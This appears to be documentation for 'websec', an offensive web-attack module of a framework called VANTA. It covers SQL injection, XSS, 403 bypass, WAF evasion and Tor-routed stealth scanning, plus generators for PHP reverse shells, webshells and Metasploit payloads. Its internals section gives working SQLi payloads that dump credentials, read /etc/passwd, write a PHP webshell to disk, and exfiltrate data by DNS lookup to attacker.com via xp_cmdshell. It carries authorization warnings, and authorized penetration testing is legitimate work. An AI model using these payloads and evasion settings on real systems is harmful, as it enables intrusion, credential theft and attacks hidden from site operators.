websec.

Full-stack web offensive tool. DNS/WHOIS/SSL OSINT, security headers, CORS, cookies, directory brute-force, SQLi (error + time-blind + WAF evasion), XSS, CSRF, 403 bypass, open redirect, framework CVEs, WordPress attack surface, WAF fingerprinting, web spidering, Google dorks, and built-in stealth & anonymization (UA rotation, proxy routing, request jitter).

VANTA Module Web Offensive Bug Bounty OSINT OWASP Python 3 v0.0.1
CategoryWeb · Offensive
LanguagePython 3
Locationtools/web/websec.py
Authordezthejackal
PrivilegesNone required
LicenseMIT
Beginner Startup
New to VANTA or websec? Start here.
Foundations guide →
What you need first
  • ▸ A web application URL you own or have permission to test
  • python3-requests and python3-bs4 installed
  • ▸ Burp Suite (optional) for proxy integration
Your first safe command
set target http://testphp.vulnweb.com
set operation scan
run
Operations by difficulty
  • Easy: scan, header_check, robots_enum
  • Medium: sqli_test, xss_probe, auth_bypass
  • Advanced: full_audit, cms_exploit, api_fuzz
Key terms: SQLi — SQL Injection — injecting SQL commands into input fields  ·  XSS — Cross-Site Scripting — injecting JavaScript into web pages  ·  SSRF — Server-Side Request Forgery — making the server fetch internal URLs  ·  OWASP Top 10 — The ten most critical web security risks  — Full glossary →

Overview

What websec does

websec is the single web offensive tool in VANTA. It covers the full attack chain from passive OSINT to active exploitation: DNS/WHOIS/SSL reconnaissance, security posture auditing, injection testing, access control bypass, WordPress attack surface enumeration, and framework CVE probing. Built-in stealth layer keeps your traffic indistinguishable from a real browser. No educational commentary — just results.

Works with Python stdlib only for recon. Add requests for full injection and active testing capabilities. beautifulsoup4 enables HTML-aware spidering and form detection.

OSINT
Web Recon
DNS records, WHOIS, SSL cert transparency (crt.sh), robots.txt, Wayback Machine, and tech stack fingerprinting.
Headers
Security Headers
Audit HSTS, Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and server version disclosure.
CORS
CORS Testing
Detect wildcard origins, reflected Origin headers, and credential-enabled CORS misconfigurations that enable cross-origin attacks.
Cookies
Cookie Audit
Check Secure, HttpOnly, and SameSite flags on all cookies. Flags session cookies missing protection against theft and CSRF.
Discovery
Directory Brute
100+ built-in paths covering admin panels, config files, backups, and exposed version files. Custom wordlist support.
SQLi
SQL Injection
Error-based detection across 15+ database error patterns (MySQL, PostgreSQL, MSSQL, Oracle, SQLite). Safe payloads only.
XSS
Reflected XSS
Test input parameters for reflection without HTML encoding. Detects contexts where a payload would execute.
Spider
Web Crawler
Crawl the site up to a configurable page limit. Maps URLs, forms, JS file references, and external links.
WAF
WAF Fingerprint
Detect Cloudflare, AWS WAF, ModSecurity, Akamai, Imperva, F5 BigIP, and Sucuri from response headers and body patterns.
CSRF
CSRF Detection
Crawl forms on the target page and flag those missing anti-CSRF tokens across 5 token name patterns.
403
403 Bypass
Header injection and path manipulation techniques to bypass 403 access controls: X-Forwarded-For, path doubling, URL encoding, trailing variations.
Redirect
Open Redirect
Test 12+ common redirect parameters with external URL payloads. Detects protocol-relative and absolute external redirects.
CVE
Framework CVEs
Auto-detect and probe Jira, AEM, and Confluence for known CVE paths. 15+ paths covering SSRF, SSTI, info disclosure, and file read.
WP
WordPress Surface
User enumeration via REST API and /?author=N, xmlrpc.php brute-force risk, plugin list from source, version disclosure, wp-login.php and wp-cron.php exposure.
Ghost
Stealth Mode
UA rotation across 20 real browser strings, full Sec-Fetch-* browser headers, configurable request delay and jitter, proxy/Tor routing, WAF-evasion payload variants for SQLi and XSS.

Quick Start

Running websec

# Passive recon — no active probing
vanta ❯ use websec
VANTA (websec) ❯ set operation recon
VANTA (websec) ❯ run https://example.com

# SQLi: error-based + time-blind
VANTA (websec) ❯ set operation sqli
VANTA (websec) ❯ set test_url https://example.com/search?q=test
VANTA (websec) ❯ run https://example.com

# 403 bypass on admin path
VANTA (websec) ❯ set operation bypass_403
VANTA (websec) ❯ set bypass_path /admin
VANTA (websec) ❯ run https://example.com

# Full scan with injection testing
VANTA (websec) ❯ set operation full
VANTA (websec) ❯ set test_url https://example.com/search?q=test
VANTA (websec) ❯ run https://example.com

# Stealth scan through Tor with WAF evasion
VANTA (websec) ❯ set stealth true
VANTA (websec) ❯ set proxy socks5://127.0.0.1:9050
VANTA (websec) ❯ set delay 0.5
VANTA (websec) ❯ set jitter 1.5
VANTA (websec) ❯ set waf_evasion true
VANTA (websec) ❯ set operation sqli
VANTA (websec) ❯ set test_url https://example.com/search?q=test
VANTA (websec) ❯ run https://example.com
! Authorization required. Only test systems you own or have explicit written permission to test. Bug bounty hunters must read and respect scope before running any checks.

Reference

Operations

Set via set operation <name>. Default is recon.

recon default
Passive OSINT: DNS A/MX/NS/TXT records, WHOIS, SSL certificate (crt.sh subdomains), robots.txt, Wayback Machine, and tech stack fingerprinting.
headers
Security header audit: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy. Flags server/framework version disclosure.
cors
CORS misconfiguration testing — probes null origin, attacker origin, subdomain origin. Detects wildcard, reflected origins, and credentials with unsafe origins.
cookies
Cookie flag audit: Secure, HttpOnly, SameSite. Reports every cookie missing each flag with CWE mapping and severity.
dirs wordlist
Directory brute-force — 100+ built-in paths covering .env, .git, admin panels, backups, debug routes. Accepts custom wordlist via wordlist_file.
sqli test_url
Error-based + time-based blind SQL injection. Tests all query params against 15+ DB error patterns (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) and sleep-based blind detection (3 s threshold).
xss test_url
Reflected XSS detection across query parameters. Tests 6+ payloads including HTML injection, attribute injection, and event handlers. Flags unencoded reflection.
csrf
Scan all forms on the target page for missing anti-CSRF tokens. Detects _token, csrfmiddlewaretoken, authenticity_token, __RequestVerificationToken, and csrf-token meta tags.
bypass_403 bypass_path
Test access control bypass on a 403-protected path via header injection (X-Forwarded-For: 127.0.0.1, X-Custom-IP-Authorization, Referer) and path manipulation (/%2f, /./, /..;/, URL encoding).
open_redirect
Test common redirect parameters (url, redirect, next, return, goto, 12+ more) for unvalidated external redirects using //evil.com and protocol-relative payloads.
framework_cves
Probe CVE-associated paths for Jira (CVE-2019-11581, CVE-2019-8451, CVE-2021-26086, 8 paths), AEM (CVE-2016-0957, 4 paths), and Confluence. Auto-detects framework from response before probing.
file_upload
Detect file upload endpoints by scanning the page for multipart/form-data forms and probing common upload paths (/upload, /api/upload, /attachments, etc.).
rate_limit
Send 10 rapid requests and check whether rate limiting is enforced (429 response or increasing latency). Useful for testing login, API, and password reset endpoints.
spider max_pages
Breadth-first crawl up to max_pages (default 50). Collects internal URLs, form actions, JS file references, and external links. Stays within the same domain.
dork
Generate 18+ Google dork queries for the target domain: exposed configs, login pages, sensitive file types, and cached content. Links to Shodan, crt.sh, and Wayback Machine.
ssl
SSL/TLS analysis: protocol version, cipher suite, cert subject/issuer/SANs, expiry, HTTPS redirect enforcement. Flags TLS 1.0/1.1 and weak ciphers.
waf
WAF fingerprinting from response headers and body patterns. Detects Cloudflare, AWS WAF, ModSecurity, Akamai, Imperva, F5 BigIP, and Sucuri.
wordpress
WordPress attack surface enumeration: version disclosure (generator meta), user enumeration via REST API (/wp-json/wp/v2/users) and /?author=N, xmlrpc.php brute-force/SSRF risk, plugin list from page source, wp-login.php and wp-cron.php exposure.
stealth
Display and validate stealth configuration: shows exact headers being sent, active UA, delay/jitter settings, proxy reachability test. Recommends missing controls (proxy, jitter, WAF evasion).
php_payload lhost
Generate PHP reverse shell, webshell, cmd page, or obfuscated payload. Set php_type to reverse, webshell, cmd, obfuscated, or all. Output written to ~/ZX01C/websec/<target>/php_payloads/.
msf_payload lhost
Generate msfvenom web payloads (php, war, jsp, aspx) and a matching handler.rc for msfconsole. Shows the exact command to launch the listener after generation.
fuzz wordlist
Directory and path fuzzing. Auto-picks the first available tool: ffuf, gobuster, or dirbuster. Streams live output. Accepts custom wordlist, thread count, file extensions, and a forced engine via fuzz_engine.
burp_export raw_request
Takes a raw HTTP request and outputs a .req file, Burp scope JSON, and an intruder payload list. Paste the captured request via raw_request before running.
full
Run all operations in one pass: recon + headers + cors + cookies + dirs + sqli + xss + csrf + open_redirect + framework_cves + file_upload + waf + ssl + wordpress. Requires test_url for injection checks.

Reference

Parameters

ParameterTypeDefaultDescription
operation string recon Operation to run. See Operations section above.
test_url string URL with query parameters for SQLi and XSS testing. E.g. https://example.com/search?q=test. Required for sqli and xss.
bypass_path string /admin Path to test for 403 bypass. Used with bypass_403 operation.
cookies string Session cookies for authenticated scanning. Format: key=value; key2=value2.
headers_str string Custom request headers. Format: Header-Name: value; Header2: value.
user_agent string Mozilla/5.0… User-Agent for all requests. Override to test WAF bypass or mimic a specific browser.
threads integer 10 Concurrent threads for directory discovery. Range 1-50.
timeout number 10.0 HTTP request timeout in seconds.
max_pages integer 50 Maximum pages to crawl in the spider operation.
wordlist_file string Path to a custom wordlist for directory discovery. One path per line. Falls back to built-in list if not set.
verbose boolean false Verbose output — shows all requests including negative results.
Stealth & Anonymization
stealth boolean false Enable stealth mode. Activates UA rotation and adds full browser header set (Accept, Accept-Language, Sec-Fetch-*, DNT, Cache-Control, Pragma) on every request. Strips scanner-identifying headers.
rotate_ua boolean false Rotate User-Agent on every request from a pool of 20+ real Chrome, Firefox, Safari, Edge, and Opera strings. Enabled automatically when stealth true.
delay number 0 Fixed delay in seconds inserted before each request. Use with jitter to randomize timing and avoid rate-based bot detection.
jitter number 0 Adds a random 0–N second offset to each delay. E.g. delay 0.5 + jitter 1.5 means each request waits 0.5–2.0 s.
proxy string Route all traffic through a proxy. Accepts HTTP (http://host:port), HTTPS, and SOCKS5 (socks5://host:port) formats. Use socks5://127.0.0.1:9050 for Tor or http://127.0.0.1:8080 for Burp.
waf_evasion boolean false Append WAF-evasion payload variants to SQLi and XSS tests: comment injection (/*!UNION*/), case mixing, URL/double encoding, HTML entity encoding, null-byte tricks, and obfuscated event handlers.

Reference

Installation Tiers

Core recon operations work with Python stdlib only. Add requests for active testing. Add beautifulsoup4 for HTML-aware spidering.

Basic
stdlib only
DNS, WHOIS, SSL inspection, security headers, robots.txt, directory brute-force, WAF detection, Google dorks. No install required.
Standard
+ requests
CORS, cookie audit, error-based + time-blind SQLi, reflected XSS, CSRF, 403 bypass, open redirect, framework CVEs, file upload detection. pip3 install requests
Full
+ beautifulsoup4
HTML parsing for spider/form detection, JS file enumeration, CSRF token detection in forms. pip3 install beautifulsoup4
# Full install
pip3 install requests beautifulsoup4 dnspython

Reference

Stealth & Anonymization

websec has a built-in stealth layer that makes every request indistinguishable from a real browser session. Combine all controls for maximum coverage against WAF/IDS fingerprinting.

How it works

UA rotation — every request picks a different User-Agent from a pool of 20 real browser strings (Chrome, Firefox, Safari, Edge, Opera, mobile). Server logs show mixed browser traffic rather than a single repeated scanner string.

Browser headers — stealth mode adds the full set of headers a real browser sends: Accept, Accept-Language, Accept-Encoding, DNT, Upgrade-Insecure-Requests, Sec-Fetch-Dest/Mode/Site/User, Cache-Control, Pragma. Requests without these are trivially identified as automated.

Timing — fixed delay plus random jitter makes inter-request timing look human. Without jitter, even a 1 s delay is detectable as automated by its regularity.

Proxy routing — all requests go through the configured proxy. Use Tor (socks5://127.0.0.1:9050) to hide your real IP from server logs, or Burp (http://127.0.0.1:8080) to intercept and replay traffic manually.

WAF evasion payloads — when waf_evasion true, SQLi and XSS tests run a second pass with obfuscated variants: MySQL comment injection (/*!UNION*/), case mixing, percent/double encoding, HTML entity encoding, and obfuscated event handlers. WAFs pattern-match on known payload strings — these variants bypass signature-only rulesets.

Check your posture

VANTA (websec) ❯ set operation stealth
VANTA (websec) ❯ run https://target.com

Prints the exact headers being sent, current UA, delay/jitter values, and tests proxy reachability. Flags any missing controls.

Full stealth profile

VANTA (websec) ❯ set stealth true
VANTA (websec) ❯ set proxy socks5://127.0.0.1:9050
VANTA (websec) ❯ set delay 0.5
VANTA (websec) ❯ set jitter 1.5
VANTA (websec) ❯ set waf_evasion true
VANTA (websec) ❯ set operation full
VANTA (websec) ❯ set test_url https://target.com/search?q=test
VANTA (websec) ❯ run https://target.com
! Stealth controls reduce your fingerprint — they do not grant authorization. You still need explicit written permission to test any target. Unauthorized testing is illegal regardless of how undetectable it is.

Operation

php_payload

Generates PHP payloads for upload or injection scenarios. Choose a type with php_type, point lhost at your listener, and run. Files land in ~/ZX01C/websec/<target>/php_payloads/.

php_typeDescription
reverseFull reverse shell in Pentest Monkey style. Connects back to lhost:lport on execution.
webshellAccepts commands via a POST cmd parameter. Minimal footprint, no callback required.
cmdAccepts commands via a GET ?cmd= parameter. One-liner, useful for quick RCE checks.
obfuscatedLayered obfuscation using base64, chr(), and hex encoding to bypass simple content filters.
allWrites all four types to separate files in the output directory.

Parameters

ParameterDefaultDescription
php_typereversePayload type: reverse, webshell, cmd, obfuscated, all.
lhostListener IP for the reverse shell callback. Required for reverse and all.
lport4444Listener port.
php_obfuscatefalseApply an additional obfuscation pass on top of the selected type.

Example

# Write all PHP payload types to disk
VANTA (websec) ❯ set operation php_payload
VANTA (websec) ❯ set php_type all
VANTA (websec) ❯ set lhost 10.10.14.1
VANTA (websec) ❯ set lport 4444
VANTA (websec) ❯ run https://example.com

# Obfuscated webshell only
VANTA (websec) ❯ set operation php_payload
VANTA (websec) ❯ set php_type webshell
VANTA (websec) ❯ set php_obfuscate true
VANTA (websec) ❯ run https://example.com
! These payloads are for use on systems you own or have explicit written permission to test. Uploading shells to unauthorized targets is a criminal offense.

Operation

msf_payload

Runs msfvenom to generate web-focused payloads and writes a ready-to-use handler.rc resource script alongside them. After generation, the module prints the exact msfconsole command to start the handler.

Parameters

ParameterDefaultDescription
payload_typephp/meterpreter/reverse_tcpAny msfvenom payload string. Common choices: php/meterpreter/reverse_tcp, java/meterpreter/reverse_tcp, windows/meterpreter/reverse_tcp.
formatrawOutput format: raw, war, jsp, aspx.
lhostListener IP. Required.
lport4444Listener port.

Example

# WAR payload for Tomcat deployment
VANTA (websec) ❯ set operation msf_payload
VANTA (websec) ❯ set format war
VANTA (websec) ❯ set lhost 10.10.14.1
VANTA (websec) ❯ set lport 4444
VANTA (websec) ❯ run https://example.com

# ASPX payload for IIS targets
VANTA (websec) ❯ set operation msf_payload
VANTA (websec) ❯ set payload_type windows/meterpreter/reverse_tcp
VANTA (websec) ❯ set format aspx
VANTA (websec) ❯ set lhost 10.10.14.1
VANTA (websec) ❯ run https://example.com

Output includes the generated payload file and a handler.rc you can pass directly to msfconsole:

msfconsole -r ~/ZX01C/websec/<target>/handler.rc
! Requires msfvenom installed. Part of the Metasploit Framework. Not included in VANTA - install separately via your package manager.

Operation

fuzz

Directory and path fuzzing using external tools. Checks for ffuf, gobuster, and dirbuster in that order and uses the first one found. Output streams live to the terminal. Results are also written to ~/ZX01C/websec/<target>/fuzz/.

Parameters

ParameterDefaultDescription
wordlistbuilt-inPath to a custom wordlist file. One entry per line. If not set, the module uses its built-in path list.
threads40Concurrent request threads passed to the fuzzing engine.
extensionsComma-separated file extensions to append to each word, e.g. php,html,txt.
fuzz_engineautoForce a specific tool: ffuf, gobuster, or dirbuster. Skips auto-detection.

Example

# Auto-detect engine, fuzz for PHP and text files
VANTA (websec) ❯ set operation fuzz
VANTA (websec) ❯ set extensions php,txt
VANTA (websec) ❯ run https://example.com

# Force ffuf with SecLists wordlist and 80 threads
VANTA (websec) ❯ set operation fuzz
VANTA (websec) ❯ set fuzz_engine ffuf
VANTA (websec) ❯ set wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
VANTA (websec) ❯ set threads 80
VANTA (websec) ❯ set extensions php,html,bak
VANTA (websec) ❯ run https://example.com
i At least one of ffuf, gobuster, or dirbuster must be installed and on $PATH. ffuf is recommended - fastest and most flexible of the three.

Operation

burp_export

Takes a raw HTTP request and produces three files: a .req file with the raw request, a Burp Suite scope JSON, and an intruder payload list extracted from the request parameters. Saves to ~/ZX01C/websec/<target>/burp_export/.

Parameters

ParameterDefaultDescription
raw_requestThe full raw HTTP request text, including method line, headers, and body. Paste from a proxy intercept or manual capture. Required.

Outputs

File
Raw .req
The original HTTP request saved as-is, ready for use with curl, nc, or replay tools.
JSON
Burp Scope
Burp Suite scope JSON for the target host. Import directly via Project Options - Scope.
List
Intruder Payloads
Parameter names and values extracted from the request, formatted as an intruder payload list.

Example

# Set the raw request and run against the target
VANTA (websec) ❯ set operation burp_export
VANTA (websec) ❯ set raw_request POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=hunter2
VANTA (websec) ❯ run https://example.com

# Output
# ~/ZX01C/websec/example.com/burp_export/request.req
# ~/ZX01C/websec/example.com/burp_export/scope.json
# ~/ZX01C/websec/example.com/burp_export/intruder_payloads.txt

Examples

Usage Examples

Passive OSINT recon

VANTA (websec) ❯ set operation recon
VANTA (websec) ❯ run https://target.com

Error-based + time-blind SQLi

VANTA (websec) ❯ set operation sqli
VANTA (websec) ❯ set test_url https://target.com/search?q=test&id=1
VANTA (websec) ❯ run https://target.com

403 bypass on /admin

VANTA (websec) ❯ set operation bypass_403
VANTA (websec) ❯ set bypass_path /admin
VANTA (websec) ❯ run https://target.com

Framework CVE probe (Jira/AEM/Confluence)

VANTA (websec) ❯ set operation framework_cves
VANTA (websec) ❯ run https://jira.target.com

Authenticated CSRF + XSS scan

VANTA (websec) ❯ set operation csrf
VANTA (websec) ❯ set cookies PHPSESSID=abc123; auth=xyz
VANTA (websec) ❯ run https://target.com/dashboard

Directory brute-force with SecLists

VANTA (websec) ❯ set operation dirs
VANTA (websec) ❯ set threads 20
VANTA (websec) ❯ set wordlist_file /usr/share/seclists/Discovery/Web-Content/common.txt
VANTA (websec) ❯ run https://target.com

WordPress attack surface

VANTA (websec) ❯ set operation wordpress
VANTA (websec) ❯ run https://target.com

Stealth SQLi through Tor with WAF evasion

VANTA (websec) ❯ set stealth true
VANTA (websec) ❯ set proxy socks5://127.0.0.1:9050
VANTA (websec) ❯ set delay 0.5
VANTA (websec) ❯ set jitter 1.5
VANTA (websec) ❯ set waf_evasion true
VANTA (websec) ❯ set operation sqli
VANTA (websec) ❯ set test_url https://target.com/search?q=test
VANTA (websec) ❯ run https://target.com

Authenticated scan with session cookie

VANTA (websec) ❯ set stealth true
VANTA (websec) ❯ set cookies PHPSESSID=abc123; auth_token=xyz
VANTA (websec) ❯ set operation full
VANTA (websec) ❯ set test_url https://target.com/dashboard?id=1
VANTA (websec) ❯ run https://target.com

Full assessment

VANTA (websec) ❯ set operation full
VANTA (websec) ❯ set test_url https://target.com/search?q=test
VANTA (websec) ❯ run https://target.com

Notes

Notes

! Authorization required. Unauthorized testing may violate the CFAA, Computer Misuse Act, and equivalent laws globally. Always get explicit written permission. For bug bounty work, read the program scope before running any checks.

SQLi uses safe detection payloads — error messages and timing responses only. Time-based blind sends a 3-second sleep payload; expect ~3 s additional latency per parameter per DB type. No data is modified or extracted.

The bypass_403 operation only fires if the target path actually returns 403. Header bypass results (200) are definitive findings. Path manipulation results (200) may require manual confirmation to rule out redirects.

The dork operation generates query strings for manual use in Google — it does not interact with Google's servers. Paste the output directly into search.

framework_cves uses strict framework detection from HTTP response headers (X-Seraph-LoginReason, X-AUSERNAME for Jira) to avoid false positives on unrelated sites.

Stealth + delay: delay and jitter add sleep time before every request — including multi-threaded directory brute-force. Reduce threads when using delay to avoid the delay being applied concurrently rather than sequentially.

SOCKS5 proxy (Tor) requires requests[socks]: pip3 install requests[socks]. HTTP proxies work with the standard requests install.

waf_evasion roughly doubles the number of SQLi and XSS payloads tested. Expect proportionally longer runtime.

Internals

Architecture Deep Dive

This chapter explains HTTP at the byte level, how SQL injection payloads work inside the database's query parser, how XSS escaping (and unescaping) works, and how to add your own attack modules to websec.

Internals

HTTP Request — Byte Anatomy

HTTP/1.1 is a plain-text protocol. Every byte you send is visible on the wire (before TLS). Understanding the exact byte format lets you craft custom headers, bypass WAFs, and understand what websec is sending during its vulnerability scans.

## HTTP/1.1 Request — exact bytes on the wire
POST /login HTTP/1.1\r\n
Host: target.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 27\r\n
Cookie: session=abc123def456\r\n
User-Agent: Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36\r\n
\r\n
username=admin&password=test

## Byte breakdown:
50 4F 53 54  = "POST"
20           = space
2F 6C 6F 67 69 6E = "/login"
20           = space
48 54 54 50 2F 31 2E 31 = "HTTP/1.1"
0D 0A        = \r\n (CRLF — mandatory line ending in HTTP)

## Headers end with double CRLF:
... last-header-value 0D 0A 0D 0A body-starts-here

## The \r\n vs \n distinction matters for some WAFs:
## Some WAF bypass techniques inject \n-only headers to confuse parsers

HTTP Response Anatomy

## HTTP/1.1 Response
HTTP/1.1 200 OK\r\n
Server: nginx/1.24.0\r\n
Content-Type: text/html; charset=UTF-8\r\n
Content-Length: 1234\r\n
Set-Cookie: session=xyz789; HttpOnly; Secure; SameSite=Strict\r\n
X-Frame-Options: DENY\r\n
X-Content-Type-Options: nosniff\r\n
Content-Security-Policy: default-src 'self'\r\n
\r\n
<html>...

## websec parses headers for security analysis:
## Missing X-Frame-Options → finding: clickjacking possible
## Missing CSP → finding: XSS impact amplified (no restriction on script src)
## Missing HSTS → finding: SSL stripping possible on first visit
## Server header leaks version → finding: known CVE lookup possible

URL Encoding — How Characters Become %XX

## URL encoding (percent-encoding) converts unsafe bytes to %HH
' (apostrophe, ASCII 0x27) → %27
" (double quote, 0x22)     → %22
< (less-than, 0x3C)        → %3C
> (greater-than, 0x3E)     → %3E
  (space, 0x20)            → %20 or +
= (equals, 0x3D)           → %3D
& (ampersand, 0x26)        → %26

## Why this matters for SQLi: some WAFs block ' but not %27
## Double-encode trick: %27 → %2527 (server decodes %25 → %, giving %27 → ')
## websec's waf_evasion mode tries both encoded and double-encoded variants

Internals

SQL Injection — From Zero to Exploitation

If you've never touched a database before, start here. This section builds from "what is SQL" all the way to extracting data from a compromised database using VANTA.

What is SQL?

SQL (Structured Query Language) is the language used to talk to databases. Databases are just organized spreadsheets — tables full of rows and columns. SQL is how you ask questions like "give me all users whose username is admin" or "insert a new row".

## Example: a "users" table in a database
id | username | password (hashed)    | email
───┼──────────┼──────────────────────┼───────────────
1  | admin    | $2b$10$xyz...        | admin@site.com
2  | alice    | $2b$10$abc...        | alice@site.com
3  | bob      | $2b$10$def...        | bob@site.com

## SQL query to log in a user:
SELECT * FROM users WHERE username='admin' AND password='hashed_pw_here'

## Translation: "Find all rows in the users table where
##              the username column equals 'admin'
##              AND the password column equals 'hashed_pw_here'"

## If the query returns 1 or more rows → user exists → login succeeds
## If the query returns 0 rows → login fails

Why Websites Break — String Concatenation

Web applications build SQL queries by combining a template string with user-supplied input. This is the root cause of SQL injection:

## A vulnerable login form (PHP/Python — same idea in any language)

## User types into the login form:
Username: admin
Password: mypassword

## The PHP code builds the query like this:
$username = $_POST["username"];  # = "admin" (from the form)
$password = hash($_POST["password"]);

$sql = "SELECT * FROM users WHERE username='" + $username + "' AND password='" + $password + "'";

## Result — safe input, safe query:
SELECT * FROM users WHERE username='admin' AND password='5f4dcc...'

## Now what if the user types this in the username field?
Username: admin'--
Password: (anything)

## The query becomes:
SELECT * FROM users WHERE username='admin'--' AND password='...'
#                                        ^^ comment! SQL ignores everything after --

## The database sees:
SELECT * FROM users WHERE username='admin'
## No password check! The attacker just logged in as admin without knowing the password.

What Just Happened — The SQL Comment Trick

The single quote ' inside the username closed the string that the developer opened with username='. The two dashes -- are a SQL comment — everything after them on that line is ignored by the database. The developer's password check was commented out.

This is SQL injection: user input that changes the structure of the SQL query. The developer intended the apostrophes to be data. The attacker's input turned them into SQL syntax.

Building an Attack Surface — Types of SQLi

## Type 1: Error-Based SQLi (most obvious — database errors visible)
## Payload: force the database to produce an error that leaks data
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--

## MSSQL converts the table name (a string) to int → fails → error message shows the string:
## "Conversion failed when converting the varchar value 'users' to data type int."
## You just learned a table is called 'users' from an error message.

## Type 2: UNION-Based SQLi (most powerful — returns data in response)
## Payload: append a second SELECT that returns data you choose
' UNION SELECT username, password, 3, 4 FROM users--

## The UNION rule: both SELECT statements must return the SAME number of columns
## First, find column count with: ' UNION SELECT NULL,NULL,NULL-- (add NULLs until no error)
## Then replace NULLs with real column names to extract data

## Type 3: Boolean-Based Blind SQLi (no data returned — infer from true/false responses)
' AND 1=1--    # true condition  → page loads normally
' AND 1=2--    # false condition → page behaves differently (error, empty, redirect)
## Use the difference to ask yes/no questions about data:
' AND SUBSTRING(username,1,1)='a'--   # does admin's username start with 'a'?

## Type 4: Time-Based Blind SQLi (no visual difference — use response delay)
' AND IF(1=1, SLEEP(3), 0)--   # always sleeps 3 seconds (confirm injection)
' AND IF(SUBSTRING(username,1,1)='a', SLEEP(3), 0)--  # sleeps if first char is 'a'
## Extract data one character at a time using timing

## Type 5: Out-of-Band SQLi (exfiltrate via DNS or HTTP — bypasses monitoring)
'; EXEC master..xp_cmdshell 'nslookup $(SELECT TOP 1 username FROM users).attacker.com'--
## Database makes DNS query: admin.attacker.com → attacker sees it in DNS logs
## Requires xp_cmdshell enabled on MSSQL (rare, but happens on old systems)

How websec Detects SQLi

## websec's detection logic (simplified)

## Step 1: find injection points — any user input that goes to server
injection_points = []
for param in request.GET | request.POST | request.COOKIES:
    injection_points.append(param)
## Also: HTTP headers (User-Agent, Referer, X-Forwarded-For are often injectable)

## Step 2: test each injection point with error-triggering payloads
ERROR_PAYLOADS = ["'", "''", "`", "1'1", "1\"1"]
for payload in ERROR_PAYLOADS:
    response = session.get(url, params={param: payload})
    ## Check for database error signatures in response:
    ERROR_SIGS = ["SQL syntax", "ORA-", "mysql_fetch", "SQLSTATE",
                  "Unclosed quotation mark", "syntax error"]
    if any(sig in response.text for sig in ERROR_SIGS):
        findings.append({"type": "sqli_error", "param": param, "evidence": ...})

## Step 3: confirm with boolean test
resp_true  = session.get(url, params={param: "1 AND 1=1--"})
resp_false = session.get(url, params={param: "1 AND 1=2--"})
if len(resp_true.text) != len(resp_false.text):
    findings.append({"type": "sqli_boolean", "param": param})

## Step 4: confirm with timing test
import time
start = time.time()
session.get(url, params={param: "1 AND SLEEP(3)--"})
elapsed = time.time() - start
if elapsed > 2.5:
    findings.append({"type": "sqli_time", "param": param})

SQLi Attack Surface — What Can You Access?

## Once you have SQLi, here's what you can enumerate (MySQL example)

## 1. List all databases:
' UNION SELECT schema_name,2,3 FROM information_schema.schemata--

## 2. List tables in current database:
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()--

## 3. List columns in users table:
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'--

## 4. Extract all usernames and passwords:
' UNION SELECT username,password,3 FROM users--

## 5. Read files from disk (requires FILE privilege):
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--

## 6. Write a webshell to disk (requires write permission + outfile perm):
' UNION SELECT "<?php system($_GET['cmd']); ?>",2,3 INTO OUTFILE '/var/www/html/shell.php'--
## If this works: visit http://target.com/shell.php?cmd=id → RCE

## How VANTA uses this: set operation sqli; websec auto-runs steps 1-4
## and formats output into structured findings for the GUI

SQL Injection — Inside the Database Parser

SQL injection works because web applications concatenate user input directly into SQL query strings. The database server then parses the combined string as valid SQL. Understanding how each database's SQL parser interprets the injected bytes is the key to reliable exploitation.

How a Vulnerable Query is Parsed

## Vulnerable PHP code:
$sql = "SELECT * FROM users WHERE username='" . $_GET['user'] . "' AND active=1";

## Normal input: user=admin
SELECT * FROM users WHERE username='admin' AND active=1

## Injection: user=admin'--
SELECT * FROM users WHERE username='admin'--' AND active=1
#                                         ↑ closes the string literal
#                                          ↑↑ SQL comment — everything after ignored
## Result: queries users table where username='admin' — ignores password/active check

## UNION injection: user=x' UNION SELECT username,password,3 FROM users--
SELECT * FROM users WHERE username='x'
UNION
SELECT username,password,3 FROM users--' AND active=1
## Result: returns all usernames+passwords from users table alongside the normal query

Database-Specific Comment Syntax

DatabaseLine commentBlock commentStacked queries?
MySQL / MariaDB-- (note trailing space) or #/* ... */Only via multi-statement if allowed
PostgreSQL--/* ... */Yes (;)
SQLite--/* ... */Yes (;)
MSSQL--/* ... */Yes (;)
Oracle--/* ... */No (use PL/SQL blocks)

Time-Based Blind SQLi — Byte Level

## Blind SQLi: no data returned in response — use timing to extract data bit by bit

## MySQL time-based payload:
user=admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(3), 0)--

## What the database executes:
SELECT * FROM users WHERE username='admin'
AND IF(SUBSTRING(password,1,1)='a', SLEEP(3), 0)--'

## If first char of password is 'a': database waits 3 seconds → response delayed
## If not: immediate response
## websec measures response time: >2.5 seconds = true condition

## Extract full value: binary search by ASCII code
## Round 1: IF(ASCII(SUBSTR(pw,1,1))>127, SLEEP(3), 0)  → fast → ≤127
## Round 2: IF(ASCII(SUBSTR(pw,1,1))>64,  SLEEP(3), 0)  → slow → >64 (so 65-127)
## Round 3: IF(ASCII(SUBSTR(pw,1,1))>96,  SLEEP(3), 0)  → slow → >96 (97-127)
## ... 7 rounds per character = O(log2(256)) = 8 requests per byte
## websec's auto-extract: ~8 requests × 32 chars = ~256 requests for a 32-char hash

websec's Internal Payload Generation

# websec generates payloads from a structured template + waf_evasion mutations

BASE_SQLI_PAYLOADS = [
    "'",              # syntax error test
    "''",             # double quote test
    "1 OR 1=1--",     # boolean bypass
    "1' OR '1'='1",   # alternate quoting
    "1 AND SLEEP(3)--", # time-based detection
    "1; DROP TABLE users--",  # stacked query (mssql/pgsql)
    "1 UNION SELECT NULL--",  # UNION detection
]

WAF_MUTATIONS = {
    "case":     lambda p: p.upper(),
    "comments": lambda p: p.replace(" ", "/**/"),
    "encode":   lambda p: quote(p),
    "double_encode": lambda p: quote(quote(p)),
    "concat":   lambda p: p.replace("'", "CHAR(39)"),
}

